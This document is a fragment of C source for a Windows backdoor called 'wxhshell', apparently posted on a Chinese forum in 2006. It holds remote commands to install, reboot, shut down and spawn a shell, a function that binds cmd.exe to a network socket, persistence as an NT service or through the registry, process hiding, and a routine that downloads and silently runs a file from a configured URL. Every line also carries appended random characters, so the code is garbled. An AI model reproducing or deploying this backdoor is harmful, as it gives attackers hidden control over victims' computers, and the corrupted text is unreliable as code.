  case '?': { ^q)AO?_  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); HGl.dO 7NU  
    break; X &s"}Hf  
  } gjDxgNpa  
  // 安装 \_8.\o"@*#  
  case 'i': { x#c%+  
    if(Install()) ['jr+gIfQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1Zt>andBF  
    else bK#SxV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3+oGR5gIN  
    break; AtYqD<hl:  
    } dBNx2T}_0  
  // 卸载 / lDei}  
  case 'r': { w:c9Z=KX  
    if(Uninstall()) (L'|n *Cr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P B?92py&  
    else >vKOG@I  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %:e.ES  
    break; Q%!Dk0-)  
    } fprP$MbI  
  // 显示 wxhshell 所在路径 iOJ5KXrAO  
  case 'p': { _bn "c@s  
    char svExeFile[MAX_PATH]; 9|NH5A"H.  
    strcpy(svExeFile,"\n\r"); d3"QCl  
      strcat(svExeFile,ExeFile); 2KtK.2;7  
        send(wsh,svExeFile,strlen(svExeFile),0); E{BX $R_8  
    break; s`gfz}/  
    } ]\m >N]P]  
  // 重启 \wF- [']N  
  case 'b': { t W}"PKv  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); z)Lw\H^/  
    if(Boot(REBOOT)) XNJ3.w:R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6uIgyO*;k  
    else { EhAaaG  
    closesocket(wsh); PUmgcMt  
    ExitThread(0); 7~Z(dTdSG  
    } _p^$.\k"  
    break; L%jIU<?Z7  
    } a:Nf +t  
  // 关机 + w/B3 b  
  case 'd': { Xo$SQ0K  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 83J6 3Xa  
    if(Boot(SHUTDOWN)) ![9$ru  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6aLRnH"Ud  
    else { +ZOKfX  
    closesocket(wsh); SY.ZEJcv  
    ExitThread(0); E0AbVa.  
    } lffw "  
    break; 0S96x}]J B  
    } Xdf4%/Op  
  // 获取shell ,0c]/Sd*p  
  case 's': { 3CH> !QOA  
    CmdShell(wsh); O?ODfO+>  
    closesocket(wsh); ] n\]ao  
    ExitThread(0); /24}>oAH  
    break; \SoT^PW  
  } {Fqwr>e  
  // 退出 W1521:  
  case 'x': { NcBz("  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); a@J/[$5  
    CloseIt(wsh); TOhWfl;  
    break; ?GlXxx=eV  
    } zdw* ?C  
  // 离开 w3z'ZCcr;"  
  case 'q': { ltlo$`PR  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); "7'P Lo3O  
    closesocket(wsh); SU1N*k#-o  
    WSACleanup(); @]]&^ 7  
    exit(1); &>B"/z  
    break; J ?EDz,  
        } I$MlIz$l v  
  } .cHkh^EDY  
  } K8Q3~bMf  
`a!9_%|8  
  // 提示信息 Xhq6l3M  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <_ENC>NP  
} \A,zwdt P  
  } jJ-C\ v  
rwVp}H G  
  return; T2/:C7zL  
} lx=tOfj8  
-jy0Kl/p  
// shell模块句柄 Dk>6PBl  
int CmdShell(SOCKET sock) %1:caa@_p  
{ El@*Fo  
STARTUPINFO si; s5rD+g]E`  
ZeroMemory(&si,sizeof(si)); \PUJD,9H  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; tv.<pP9-C  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; EwX{i}j_V  
PROCESS_INFORMATION ProcessInfo; -fl6M-CYX  
char cmdline[]="cmd"; 7KX27.~F  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); '5 ~cd  
  return 0; =#,`k<v%I  
} 6o7t eX  
(S?Y3l|  
// 自身启动模式 x(vQ %JC  
int StartFromService(void) Qj;{Z*l%+  
{ )S(Ly.  
typedef struct [5& nH@og  
{ pITF%J@_]  
  DWORD ExitStatus; WA"~6U*  
  DWORD PebBaseAddress; a!E22k?((z  
  DWORD AffinityMask; p/?o^_s  
  DWORD BasePriority; eF22 ~P  
  ULONG UniqueProcessId; #}FUau$  
  ULONG InheritedFromUniqueProcessId; z&tC5]#  
}   PROCESS_BASIC_INFORMATION; #$- E5R;x  
3g;,  
PROCNTQSIP NtQueryInformationProcess; ESIP+  
r O$pj~!|Q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5EcVW|(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; fDf[:A,8  
.Mb[j1L^  
  HANDLE             hProcess; Ly+UY.v"  
  PROCESS_BASIC_INFORMATION pbi; HDhISPg  
]*\MIz{56'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3WJk04r  
  if(NULL == hInst ) return 0; ;na%*G`  
pWGR #x'  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *G> x07S)~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1xW!j!A;  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ],pB:=  
78uImC*o  
  if (!NtQueryInformationProcess) return 0; !%,7*F(  
oQ<[`.s  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )}`z<)3jP  
  if(!hProcess) return 0; Q+T#J9Y  
q()o|V  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %Hbq3U30  
B>^6tdz  
  CloseHandle(hProcess); 6:#o0OeBP  
2{rWAPHgz  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); vPNbV  
if(hProcess==NULL) return 0; ;\mX=S|a  
5wx_ol}2  
HMODULE hMod; o+E~iC u5  
char procName[255]; 2!s PgIz  
unsigned long cbNeeded; /:4J  
V/ G1C^'/  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); bkV<ZUW|;  
 TUcFx_  
  CloseHandle(hProcess); L3, /7  
?}cmES kX@  
if(strstr(procName,"services")) return 1; // 以服务启动 .5 . (S^u  
1&=)Bxg4  
  return 0; // 注册表启动 `q*[fd1u.  
} 6dIPgie3w  
yW|J`\`^T  
// 主模块 ka9@7IFM  
int StartWxhshell(LPSTR lpCmdLine) r N$0qo  
{ PEf yHf7`  
  SOCKET wsl; H0afu)$,  
BOOL val=TRUE; kK[4uQQ  
  int port=0; 8_('[89m  
  struct sockaddr_in door; C t,p  
i/9iM\2  
  if(wscfg.ws_autoins) Install(); |(>`qL{|  
7}X1A!1  
port=atoi(lpCmdLine); =NF0E8O  
xuK"pS  
if(port<=0) port=wscfg.ws_port; &u>dKf)5  
g< j)  
  WSADATA data; "v1{  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6gV*G  
kUd]8Ff!  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   2RkW/) A9  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {18hzhs  
  door.sin_family = AF_INET; W+ S~__K  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \Bo%2O%4  
  door.sin_port = htons(port); ` B)@  
! ?g+'OM  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { E-z5mX.2  
closesocket(wsl); ;st0Ekni)  
return 1; U^dfNi@q  
} _SBbd9  
s)1-xA{'.  
  if(listen(wsl,2) == INVALID_SOCKET) { AF'<  
closesocket(wsl); .t "VsY|  
return 1; P<PZ4hNx  
} V 0Bl6  
  Wxhshell(wsl); X)b$CG  
  WSACleanup(); 25SWIpgG  
_**Nlp*%  
return 0; I  C  
Y(PCc}/\  
} j?K$w`  
CHgip&(.F  
// 以NT服务方式启动 6 5g ovor  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) MmT/J1zM  
{ &6sF wK  
DWORD   status = 0; *[si!e%  
  DWORD   specificError = 0xfffffff; CWdsOS=  
)3h\QE!z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 2"ax*MQH<^  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; _Y; TS1u  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !Z$d<~Mq q  
  serviceStatus.dwWin32ExitCode     = 0; -UhpPw 6  
  serviceStatus.dwServiceSpecificExitCode = 0; JS/'0.  
  serviceStatus.dwCheckPoint       = 0; &L8RLSfX  
  serviceStatus.dwWaitHint       = 0; ~q`!928Gu  
y7HFmGM  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); iWCYK7c@.-  
  if (hServiceStatusHandle==0) return; a4*v'Xc5  
5JzvT JMx  
status = GetLastError(); 5Tl5T&  
  if (status!=NO_ERROR) @A,8 >0+  
{ D+7xMT8pqH  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; B;9,Qbb  
    serviceStatus.dwCheckPoint       = 0; >=@-]X2%j  
    serviceStatus.dwWaitHint       = 0; JxVGzb`8  
    serviceStatus.dwWin32ExitCode     = status; !Tnjha*  
    serviceStatus.dwServiceSpecificExitCode = specificError; i2<z"v63  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {nmG/dn {  
    return; t'44X  
  } Cut~k"lv  
-`L`kL<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 'cO8& |  
  serviceStatus.dwCheckPoint       = 0; kt yplo#F  
  serviceStatus.dwWaitHint       = 0; rL5=8l  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); tJ(xeb  
} N3G9o`k  
(5$Ge$  
// 处理NT服务事件,比如:启动、停止 SEgw!2H  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Nc+0_|,  
{ 5:@bNNX'j  
switch(fdwControl) ifn=De3+  
{ *V&M5  
case SERVICE_CONTROL_STOP: DGFSD Py[  
  serviceStatus.dwWin32ExitCode = 0; gPMR,TU  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 'w:ugb9]  
  serviceStatus.dwCheckPoint   = 0; N#u'SGTG  
  serviceStatus.dwWaitHint     = 0; Jn hdZa  
  { A{_CU-,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J jAxNviG  
  } +`>7cy%cZ  
  return; 24wDnDyh  
case SERVICE_CONTROL_PAUSE: &4%pPL\f  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }IygU 6{G  
  break; P& 1$SWNyW  
case SERVICE_CONTROL_CONTINUE: !8 @yi"n  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; vP{i+s18B  
  break; n@pwOHQn<|  
case SERVICE_CONTROL_INTERROGATE: <)d%c%f'`  
  break; Z `F[0-  
}; hj];a,Br&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )"TVR{I%B  
} a?gF;AYk  
Le#srr  
// 标准应用程序主函数 a8xvK;`  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) e=LrgRy+  
{ o@A`AA9  
WsbVO|C  
// 获取操作系统版本 ]t<=a6 <P  
OsIsNt=GetOsVer(); 0YoKSo  
GetModuleFileName(NULL,ExeFile,MAX_PATH); HQ+{9Z8 ?5  
mAlG }<  
  // 从命令行安装 M8H hjoo  
  if(strpbrk(lpCmdLine,"iI")) Install(); bZ`#;D<  
mc]+j,d  
  // 下载执行文件 +c8`N'~  
if(wscfg.ws_downexe) { (H:c8 0/V  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _4oAk @A  
  WinExec(wscfg.ws_filenam,SW_HIDE); 9swHa  
} )Q1aAS3  
iZTU]+z!  
if(!OsIsNt) { La6 9or   
// 如果时win9x,隐藏进程并且设置为注册表启动 }wo:1v8J  
HideProc(); |2'WSAWG  
StartWxhshell(lpCmdLine); K2*rqg  
} SB%D%Zx6'%  
else ^m7y=CJM  
  if(StartFromService()) pbKmFweq  
  // 以服务方式启动 7s^b@&Le  
  StartServiceCtrlDispatcher(DispatchTable); bF9.k  
else C6c*y\O\7  
  // 普通方式启动 [%^0L~:  
  StartWxhshell(lpCmdLine); iq3)}hGo  
dQ;8,JzIw&  
return 0; `Fcr`[  
}
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只看该作者 1 发表于: 2006-10-10
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